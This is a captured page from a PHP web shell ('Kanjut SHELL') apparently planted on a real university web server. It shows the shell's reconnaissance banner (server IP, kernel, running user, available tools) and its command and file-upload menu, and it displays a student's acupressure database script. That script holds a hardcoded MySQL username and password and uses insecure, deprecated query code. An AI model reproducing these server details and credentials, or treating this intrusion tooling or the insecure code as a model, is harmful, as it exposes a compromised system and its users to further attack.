Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.224.30.113
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/vnlaughlin/../kakaragiorgis/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/vnlaughlin/../kakaragiorgis/projinsertaction.php
<BODY>
<CENTER><h2>Insert Record Results</h2></center>
<hr>
<?php
	$Pname = $_POST['Pname'];
	$Cname = $_POST['Cname'];        
	$index = $_POST['symptoms'];
	$menu = array('headache', 'hangover', 'sorethroat', 'heartburn', 
'weightloss',
			'depression', 'insomnia', 
'memory_and_concentration', 'hiccoughs', 'high_blood_pressure');
        
	if(count($index) ==0)
		echo "Please go back <A HREF=insert.php> to select a 
symptom</A>.";
	else
	{	foreach ($index as $item)
		{
			$cond = "$menu[$item]"; $sym[$i]=$cond; $i++;
		}	 
	}

        $host = 'localhost';
        $user = 'wcdavis';
        $pass = 'cs480';
        $database = 'wcdavis'; 
  
        $connect = mysql_connect($host, $user, $pass);
        $table_name = 'symptom';
	if( !$connect )
	{	die ("Can't connect to $server using $user");
	}
	else
	{	$cond=" $sym[0]=1";	//print "<p>$cond <p>";
		if($i>1) 
			for($j=1;$j<$i; $j++) 
				$cond = $cond . " or $sym[$j]=1"; 
	}

	//	$SQLcmd = "insert into $table_name name, chinesename, 
linkurl where $cond;";

        // p.172
        $query = "insert into $table_name values("B2", "ZanZhu", "<a 
href=http://www.soundtells.com/AcupressureOnline/B2R.html>Link</A>", 1, 0, 
0, 0, 0, 0, 0, 0, 0, 0)";

        // debug
        print "The query is <i> $query </i>";

        mysql_select_db($database);
        if(mysql_query($query, $connect))
                print "Insert successful.<P>";
        else
                print "Insert failed.<P>";        
        
	mysql_close($connect);
?>      
<a href="insert.php">Back to insert another record?.</a><br>
<a href="acupressureindex.html">Back to the home page.</a>
</BODY>


Stv3n404 - 2023